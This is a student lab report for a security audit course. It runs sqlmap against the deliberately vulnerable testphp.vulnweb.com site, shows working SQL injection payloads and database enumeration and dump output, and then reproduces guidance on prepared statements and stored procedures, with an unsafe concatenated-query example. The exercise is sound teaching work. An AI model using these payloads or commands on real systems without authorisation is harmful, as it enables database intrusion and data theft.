

# **CSE3501-Information Security Analysis and Audit**

**Lab 9+10**

**Lab Assignment-6**

**Submitted by: Alokam Nikhitha**

**Reg No:19BCE2555**

## Target Website:

<http://testphp.vulnweb.com/listproducts.php?cat=1>

1. sqlmap -u <http://testphp.vulnweb.com/listproducts.php?cat=1>

2.

```
Activities Terminal Nov 5 18:42
lenovo@alokam-nikhitha: ~
lenovo@alokam-nikhitha:~$ sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1

[1] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 18:23:54 /2021-11-05/

[18:23:54] [INFO] testing connection to the target URL
[18:23:55] [INFO] testing if the target URL content is stable
[18:23:55] [INFO] target URL content is stable
[18:23:55] [INFO] testing if GET parameter 'cat' is dynamic
[18:23:55] [INFO] GET parameter 'cat' appears to be dynamic
[18:23:56] [INFO] heuristic (basic) test shows that GET parameter 'cat' might be injectable (possible DBMS: 'MySQL')
[18:23:56] [INFO] heuristic (XSS) test shows that GET parameter 'cat' might be vulnerable to cross-site scripting (XSS) attacks
[18:23:56] [INFO] testing for SQL injection on GET parameter 'cat'

for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y
[18:38:44] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:38:44] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
[18:38:45] [WARNING] reflective value(s) found and filtering out
[18:38:47] [INFO] GET parameter 'cat' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string='bla')
[18:38:47] [INFO] testing 'Generic inline queries'
[18:38:47] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[18:38:48] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[18:38:48] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[18:38:48] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[18:38:49] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[18:38:49] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[18:38:49] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[18:38:50] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[18:38:50] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[18:38:51] [INFO] GET parameter 'cat' is 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' injectable
```

```
Activities Terminal Nov 5 18:43
lenovo@alokam-nikhitha: ~
[18:38:51] [INFO] GET parameter 'cat' is 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' injectable

[18:38:51] [INFO] testing 'MySQL inline queries'
[18:38:51] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[18:38:51] [WARNING] time-based comparison requires larger statistical model, please wait..... (done)
[18:38:55] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[18:38:56] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[18:38:56] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[18:38:57] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[18:38:57] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[18:38:57] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[18:39:09] [INFO] GET parameter 'cat' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[18:39:09] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[18:39:09] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[18:39:09] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[18:39:12] [INFO] target URL appears to have 11 columns in query
[18:39:13] [INFO] GET parameter 'cat' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'cat' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 48 HTTP(s) requests:
---
Parameter: cat (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: cat=1 AND 5782=5782

  Type: error-based
  Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
  Payload: cat=1 AND EXTRACTVALUE(7017,CONCAT(0x5c,0x7171626b71,(SELECT (ELT(7017=7017,1))),0x7171627871))

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: cat=1 AND (SELECT 4743 FROM (SELECT(SLEEP(5))))vshw

  Type: UNION query
  Title: Generic UNION query (NULL) - 11 columns
  Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171626b71,0x7759465863476266646b59455470636d7a78676
a766b47584943555663526a4626d4a71484b7a77 0x7171627871) NULL-- --
```

```
Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171626b71,0x7759465863476266646b59455470636d7a78676
a766b47584943555663526e44626d4a71484b7a77,0x7171627871),NULL-- -
---
[18:39:21] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.1
[18:39:23] [INFO] fetched data logged to text files under '/home/lenovo/.sqlmap/output/testphp.vulnweb.com'
[18:39:23] [WARNING] you haven't updated sqlmap for more than 581 days!!!
[*] ending @ 18:39:23 /2021-11-05/
```

## 2. sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --tables

```
Activities Terminal Nov 5 19:44
lenovo@alokam-nikhitha: ~
lenovo@alokam-nikhitha:~$ sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --tables

[1.4.4#stable]
http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 19:44:43 /2021-11-05/

[19:44:44] [INFO] resuming back-end DBMS 'mysql'
[19:44:44] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cat=1 AND 5782=5782

Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: cat=1 AND EXTRACTVALUE(7017,CONCAT(0xSc,0x7171626b71,(SELECT (ELT(7017=7017,1))),0x7171627871))

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: cat=1 AND (SELECT 4743 FROM (SELECT(SLEEP(5)))vshw)

Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171626b71,0x7759465863476266646b59455470636d7a78676
a766b47584943555663526e44626d4a71484b7a77,0x7171627871),NULL-- -
---
[19:44:44] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.1
[19:44:44] [INFO] fetching database names
```

```
Activities Terminal Nov 5 19:45 lenovo@alokam-nikhitha: ~
[19:44:44] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.1
[19:44:44] [INFO] fetching database names
[19:44:44] [INFO] fetching tables for databases: 'acuart, information_schema'
Database: acuart
[8 tables]
+-----+
| artists
| carts
| categ
| featured
| guestbook
| pictures
| products
| users
+-----+
Database: information_schema
[79 tables]
+-----+
| ADMINISTRABLE_ROLE_AUTHORIZATIONS
| APPLICABLE_ROLES
| CHARACTER_SETS
| CHECK_CONSTRAINTS
| COLLATIONS
| COLLATION_CHARACTER_SET_APPLICABILITY
| COLUMNS_EXTENSIONS
| COLUMN_PRIVILEGES
| COLUMN_STATISTICS
| ENABLED_ROLES
| ENGINES
| EVENTS
| FILES
| INNODB_BUFFER_PAGE
| INNODB_BUFFER_PAGE_LRU
| INNODB_BUFFER_POOL_STATS
| INNODB_CACHED_INDEXES
| INNODB_CMP
```

```
Activities Terminal Nov 5 19:45 lenovo@alokam-nikhitha: ~
| INNODB_CMP
| INNODB_CMPMEM
| INNODB_CMPMEM_RESET
| INNODB_CMP_PER_INDEX
| INNODB_CMP_PER_INDEX_RESET
| INNODB_CMP_RESET
| INNODB_COLUMNS
| INNODB_DATAFILES
| INNODB_FIELDS
| INNODB_FOREIGN
| INNODB_FOREIGN_COLS
| INNODB_FT_BEING_DELETED
| INNODB_FT_CONFIG
| INNODB_FT_DEFAULT_STOPWORD
| INNODB_FT_DELETED
| INNODB_FT_INDEX_CACHE
| INNODB_FT_INDEX_TABLE
| INNODB_INDEXES
| INNODB_METRICS
| INNODB_SESSION_TEMP_TABLESPACES
| INNODB_TABLES
| INNODB_TABLESPACES
| INNODB_TABLESPACES_BRIEF
| INNODB_TABLESTATS
| INNODB_TEMP_TABLE_INFO
| INNODB_TRX
| INNODB_VIRTUAL
| KEYWORDS
| KEY_COLUMN_USAGE
| OPTIMIZER_TRACE
| PARAMETERS
| PARTITIONS
| PLUGINS
| PROCESSLIST
| PROFILING
| REFERENTIAL_CONSTRAINTS
| RESOURCE_GROUPS
| ROLE_COLUMN_GRANTS
| ROLE_ROUTINE_GRANTS
```

```
Activities Terminal Nov 5 19:45
lenovo@alokam-nikhitha: ~
| PLUGINS
| PROCESSLIST
| PROFILING
| REFERENTIAL_CONSTRAINTS
| RESOURCE_GROUPS
| ROLE_COLUMN_GRANTS
| ROLE_ROUTINE_GRANTS
| ROLE_TABLE_GRANTS
| ROUTINES
| SCHEMATA
| SCHEMATA_EXTENSIONS
| SCHEMA_PRIVILEGES
| ST_GEOMETRY_COLUMNS
| ST_SPATIAL_REFERENCE_SYSTEMS
| ST_UNITS_OF_MEASURE
| TABLESPACES
| TABLESPACES_EXTENSIONS
| TABLE_EXTENSIONS
| TABLE_CONSTRAINTS
| TABLE_CONSTRAINTS_EXTENSIONS
| TABLE_PRIVILEGES
| TRIGGERS
| USER_ATTRIBUTES
| USER_PRIVILEGES
| VIEWS
| VIEW_ROUTINE_USAGE
| VIEW_TABLE_USAGE
| COLUMNS
| STATISTICS
| TABLES
+-----+

[19:44:44] [INFO] fetched data logged to text files under '/home/lenovo/.sqlmap/output/testphp.vulnweb.com'
[19:44:44] [WARNING] you haven't updated sqlmap for more than 581 days!!!

[*] ending @ 19:44:44 /2021-11-05/
lenovo@alokam-nikhitha:~$
```

### 3. sqlmap -u <http://testphp.vulnweb.com/listproducts.php?cat=1> --dbs

```
Activities Terminal Nov 5 18:56
lenovo@alokam-nikhitha: ~
lenovo@alokam-nikhitha:~$ sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --dbs

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 18:55:50 /2021-11-05/

[18:55:50] [INFO] resuming back-end DBMS 'mysql'
[18:55:50] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: cat=1 AND 5782=5782

  Type: error-based
  Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
  Payload: cat=1 AND EXTRACTVALUE(7017,CONCAT(0x5c,0x7171626b71,(SELECT (ELT(7017=7017,1))),0x7171627871))

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: cat=1 AND (SELECT 4743 FROM (SELECT(SLEEP(5)))vsHW)

  Type: UNION query
  Title: Generic UNION query (NULL) - 11 columns
  Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171626b71,0x7759465863476266646b59455470636d7a78676a766b47584943555663526e44626d4a71484b7a77,0x7171627871),NULL--

---
[18:55:51] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.1
```

```
Activities Terminal Nov 5 18:56
lenovo@alokam-nikhitha: ~

[*] starting @ 18:55:50 /2021-11-05/

[18:55:50] [INFO] resuming back-end DBMS 'mysql'
[18:55:50] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: cat=1 AND 5782=5782

  Type: error-based
  Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
  Payload: cat=1 AND EXTRACTVALUE(7017,CONCAT(0x5c,0x7171626b71,(SELECT (ELT(7017=7017,1))),0x7171627871))

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: cat=1 AND (SELECT 4743 FROM (SELECT(SLEEP(5)))vshw)

  Type: UNION query
  Title: Generic UNION query (NULL) - 11 columns
  Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171626b71,0x7759465863476266646b59455470636d7a78676
a766b47584943555663526e44626d4a71484b7a77,0x7171627871),NULL--
---
[18:55:51] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.1
[18:55:51] [INFO] fetching database names
available databases [2]:
[*] acuart
[*] information_schema

[18:55:52] [INFO] fetched data logged to text files under '/home/lenovo/.sqlmap/output/testphp.vulnweb.com'
[18:55:52] [WARNING] you haven't updated sqlmap for more than 581 days!!!

[*] ending @ 18:55:52 /2021-11-05/

lenovo@alokam-nikhitha:~$
```

#### 4. sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart --tables

```
Activities Terminal Nov 5 18:58
lenovo@alokam-nikhitha: ~

lenovo@alokam-nikhitha:~$ sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart --tables

{1.4.4#stable}
http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to ob
ey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by th
is program

[*] starting @ 18:58:39 /2021-11-05/

[18:58:39] [INFO] resuming back-end DBMS 'mysql'
[18:58:39] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: cat=1 AND 5782=5782

  Type: error-based
  Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
  Payload: cat=1 AND EXTRACTVALUE(7017,CONCAT(0x5c,0x7171626b71,(SELECT (ELT(7017=7017,1))),0x7171627871))

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: cat=1 AND (SELECT 4743 FROM (SELECT(SLEEP(5)))vshw)

  Type: UNION query
  Title: Generic UNION query (NULL) - 11 columns
  Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171626b71,0x7759465863476266646b59455470636d7a78676
a766b47584943555663526e44626d4a71484b7a77,0x7171627871),NULL--
---
[18:58:40] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.1
```



```
Activities Terminal Nov 5 18:58
lenovo@alokam-nikhitha: ~

Parameter: cat (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cat=1 AND 5782=5782

Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: cat=1 AND EXTRACTVALUE(7017,CONCAT(0x5c,0x7171626b71,(SELECT (ELT(7017=7017,1))),0x7171627871))

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: cat=1 AND (SELECT 4743 FROM (SELECT(SLEEP(5)))vsHW)

Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171626b71,0x7759465863476266646b59455470636d7a78676
a766b47584943555663526e44626d4a71484b7a77,0x7171627871),NULL-- -
---
[18:58:40] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.1
[18:58:40] [INFO] fetching tables for database: 'acuart'
Database: acuart
[8 tables]
+-----+
| artists |
| carts   |
| categ   |
| featured|
| guestbook|
| pictures|
| products|
| users   |
+-----+

[18:58:40] [INFO] fetched data logged to text files under '/home/lenovo/.sqlmap/output/testphp.vulnweb.com'
[18:58:40] [WARNING] you haven't updated sqlmap for more than 581 days!!!
[*] ending @ 18:58:40 /2021-11-05/
```

5.

## 5. sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T artists -columns

```
Activities Terminal Nov 5 19:00
lenovo@alokam-nikhitha: ~

lenovo@alokam-nikhitha:~$ sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T artists --columns

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to ob
ey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by thi
s program

[*] starting @ 19:00:43 /2021-11-05/

[19:00:44] [INFO] resuming back-end DBMS 'mysql'
[19:00:44] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cat=1 AND 5782=5782

Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: cat=1 AND EXTRACTVALUE(7017,CONCAT(0x5c,0x7171626b71,(SELECT (ELT(7017=7017,1))),0x7171627871))

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: cat=1 AND (SELECT 4743 FROM (SELECT(SLEEP(5)))vsHW)

Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171626b71,0x7759465863476266646b59455470636d7a78676
a766b47584943555663526e44626d4a71484b7a77,0x7171627871),NULL-- -
---
[19:00:44] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.1
```

```

Activities  Terminal Nov 5 19:00
lenovo@alokam-nikhitha: ~

Parameter: cat (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cat=1 AND 5782=5782

Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: cat=1 AND EXTRACTVALUE(7017,CONCAT(0x5c,0x7171626b71,(SELECT (ELT(7017=7017,1))),0x7171627871))

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: cat=1 AND (SELECT 4743 FROM (SELECT(SLEEP(5)))vshw)

Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171626b71,0x775946586347626646b59455470636d7a78676a766b47584943555663526e44626d4a71484b7a77,0x7171627871),NULL-- -
a766b47584943555663526e44626d4a71484b7a77,0x7171627871),NULL-- -

[19:00:44] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.1
[19:00:44] [INFO] fetching columns for table 'artists' in database 'acuart'
Database: acuart
Table: artists
[3 columns]
+-----+
| Column | Type |
+-----+
| adesc   | text |
| aname   | varchar(50) |
| artist_id | int |
+-----+

[19:00:45] [INFO] fetched data logged to text files under '/home/lenovo/.sqlmap/output/testphp.vulnweb.com'
[19:00:45] [WARNING] you haven't updated sqlmap for more than 581 days!!!

[*] ending @ 19:00:45 /2021-11-05/
lenovo@alokam-nikhitha:~$

```

## 6. sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T artists -C aname --dump

```

Activities  Terminal Nov 5 19:02
lenovo@alokam-nikhitha: ~

lenovo@alokam-nikhitha:~$ sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T artists -C aname --dump

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 19:02:35 /2021-11-05/

[19:02:35] [INFO] resuming back-end DBMS 'mysql'
[19:02:35] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cat=1 AND 5782=5782

Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: cat=1 AND EXTRACTVALUE(7017,CONCAT(0x5c,0x7171626b71,(SELECT (ELT(7017=7017,1))),0x7171627871))

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: cat=1 AND (SELECT 4743 FROM (SELECT(SLEEP(5)))vshw)

Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171626b71,0x775946586347626646b59455470636d7a78676a766b47584943555663526e44626d4a71484b7a77,0x7171627871),NULL-- -
a766b47584943555663526e44626d4a71484b7a77,0x7171627871),NULL-- -

[19:02:36] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.1
[19:02:36] [INFO] fetching entries of column(s) 'aname' for table 'artists' in database 'acuart'

```



```
Activities Terminal Nov 5 19:02
lenovo@alokam-nikhitha: ~

Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cat=1 AND 5782=5782

Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: cat=1 AND EXTRACTVALUE(7017,CONCAT(0x5c,0x7171626b71,(SELECT (ELT(7017=7017,1))),0x7171627871))

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: cat=1 AND (SELECT 4743 FROM (SELECT(SLEEP(5)))vshw)

Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171626b71,0x7759465863476266646b59455470636d7a78676
a766b47584943555663526e44626d4a71484b7a77,0x7171627871),NULL-- -
---
[19:02:36] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.1
[19:02:36] [INFO] fetching entries of column(s) 'aname' for table 'artists' in database 'acuart'
Database: acuart
Table: artists
[3 entries]
+-----+
| aname |
+-----+
| r4wB173 |
| Blad3 |
| lyzae |
+-----+

[19:02:36] [INFO] table 'acuart.artists' dumped to CSV file '/home/lenovo/.sqlmap/output/testphp.vulnweb.com/dump/acuart/artists.csv'
[19:02:36] [INFO] fetched data logged to text files under '/home/lenovo/.sqlmap/output/testphp.vulnweb.com'
[19:02:36] [WARNING] you haven't updated sqlmap for more than 581 days!!!

[*] ending @ 19:02:36 /2021-11-05/
lenovo@alokam-nikhitha:~$
```

## Primary Defenses (Implement any 2)

- Use of Prepared Statements (with Parameterized Queries)
- Use of Stored Procedures
- Allow-list Input Validation
- Escaping All User Supplied Input

### Unsafe Example:

SQL injection flaws typically look like this:

The following (Java) example is UNSAFE, and would allow an attacker to inject code into the query that would be executed by the database. The unvalidated "customerName" parameter that is simply appended to the query allows an attacker to inject any SQL code they want. Unfortunately, this method for accessing databases is all too common.

```
String query = "SELECT account_balance FROM user_data WHERE u  
ser_name = "  
    + request.getParameter("customerName");  
try {  
    Statement statement = connection.createStatement( ... );  
    ResultSet results = statement.executeQuery( query );  
}  
...
```

## 1. Prepared Statements (with Parameterized Queries)

The use of prepared statements with variable binding (aka parameterized queries) is how all developers should first be taught how to write database queries. They are simple to write, and easier to understand than dynamic queries. Parameterized queries force the developer to first define all the SQL code, and then pass in each parameter to the query later. This coding style allows the database to distinguish between code and data, regardless of what user input is supplied.

Prepared statements ensure that an attacker is not able to change the intent of a query, even if SQL commands are inserted by an attacker. In the safe example below, if an attacker were to enter the userID of tom' or '1'='1, the parameterized query would not be vulnerable and would instead look for a username which literally matched the entire string tom' or '1'='1.

Language specific recommendations:

- Java EE – use PreparedStatement() with bind variables
- .NET – use parameterized queries like SqlCommand() or OleDbCommand() with bind variables
- PHP – use PDO with strongly typed parameterized queries (using bindParam())
- Hibernate - use createQuery() with bind variables (called named parameters in Hibernate)
- SQLite - use sqlite3\_prepare() to create a statement object

In rare circumstances, prepared statements can harm performance. When confronted with this situation, it is best to either a) strongly validate all data or b) escape all user supplied input using an escaping routine specific to your database vendor as described below, rather than using a prepared statement.

### **Safe Java Prepared Statement Example:**

The following code example uses a PreparedStatement, Java's implementation of a parameterized query, to execute the same database query.

```
// This should REALLY be validated too
String custname = request.getParameter("customerName");
// Perform input validation to detect attacks
String query = "SELECT account_balance FROM user_data WHERE u
ser_name = ? ";
PreparedStatement pstmt = connection.prepareStatement( query );
pstmt.setString( 1, custname);
ResultSet results = pstmt.executeQuery( );
```

### **Safe C# .NET Prepared Statement Example:**

With .NET, it's even more straightforward. The creation and execution of the query doesn't change. All you have to do is simply pass the parameters to the query using the Parameters.Add() call as shown here.

```
String query = "SELECT account_balance FROM user_data WHERE u
ser_name = ?";
try {
    OleDbCommand command = new OleDbCommand(query, connectio
n);
    command.Parameters.Add(new
OleDbParameter("customerName", CustomerName Name.Text));
    OleDbDataReader reader = command.ExecuteReader();
    // ...
} catch (OleDbException se) {
    // error handling
}
```

We have shown examples in Java and .NET but practically all other languages, including Cold Fusion, and Classic ASP, support parameterized query interfaces. Even SQL abstraction layers, like the [Hibernate Query Language](#) (HQL) have the same type of injection problems (which we call [HQL Injection](#)). HQL supports parameterized queries as well, so we can avoid this problem:

### **Hibernate Query Language (HQL) Prepared Statement (Named Parameters) Examples:**

```
//First is an unsafe HQL Statement
Query unsafeHQLQuery = session.createQuery("from Inventory where productID='"+userSuppliedParameter+"'");
//Here is a safe version of the same query using named parameters
Query safeHQLQuery = session.createQuery("from Inventory where productID=:productid");
safeHQLQuery.setParameter("productid", userSuppliedParameter);
```

For examples of parameterized queries in other languages, including Ruby, PHP, Cold Fusion, and Perl.

Developers tend to like the Prepared Statement approach because all the SQL code stays within the application. This makes your application relatively database independent.

## **2: Stored Procedures**

Stored procedures are not always safe from SQL injection. However, certain standard stored procedure programming constructs have the same effect as the use of parameterized queries when implemented safely which is the norm for most stored procedure languages.

They require the developer to just build SQL statements with parameters which are automatically parameterized unless the developer does something largely out of the norm. The difference between prepared statements and stored procedures is that the SQL code for a stored procedure is defined and stored in the database

itself, and then called from the application. Both of these techniques have the same effectiveness in preventing SQL injection so your organization should choose which approach makes the most sense for you.

**Note:** 'Implemented safely' means the stored procedure does not include any unsafe dynamic SQL generation. Developers do not usually generate dynamic SQL inside stored procedures. However, it can be done, but should be avoided. If it can't be avoided, the stored procedure must use input validation or proper escaping as described in this article to make sure that all user supplied input to the stored procedure can't be used to inject SQL code into the dynamically generated query. Auditors should always look for uses of `sp_execute`, `execute` or `exec` within SQL Server stored procedures. Similar audit guidelines are necessary for similar functions for other vendors.

There are also several cases where stored procedures can increase risk. For example, on MS SQL server, you have 3 main default roles: `db_datareader`, `db_datawriter` and `db_owner`. Before stored procedures came into use, DBA's would give `db_datareader` or `db_datawriter` rights to the webservice's user, depending on the requirements. However, stored procedures require `execute` rights, a role that is not available by default. Some setups where the user management has been centralized, but is limited to those 3 roles, cause all web apps to run under `db_owner` rights so stored procedures can work. Naturally, that means that if a server is breached the attacker has full rights to the database, where previously they might only have had read-access.

### **Safe Java Stored Procedure Example:**

The following code example uses a `CallableStatement`, Java's implementation of the stored procedure interface, to execute the same database query. The `sp_getAccountBalance` stored procedure would have to be predefined in the database and implement the same functionality as the query defined above.

```
// This should REALLY be validated
String custname = request.getParameter("customerName");
```

```

try {
    CallableStatement cs = connection.prepareCall("{call
sp_getAccountBalance(?)}");
    cs.setString(1, custname);
    ResultSet results = cs.executeQuery();
    // ... result set handling
} catch (SQLException se) {
    // ... logging and error handling
}

```

### **Safe VB .NET Stored Procedure Example:**

The following code example uses a SqlCommand, .NET's implementation of the stored procedure interface, to execute the same database query. The sp\_getAccountBalance stored procedure would have to be predefined in the database and implement the same functionality as the query defined above.

```

Try
    Dim command As SqlCommand = new SqlCommand("sp_getAccou
ntBalance", connection)
    command.CommandType = CommandType.StoredProcedure
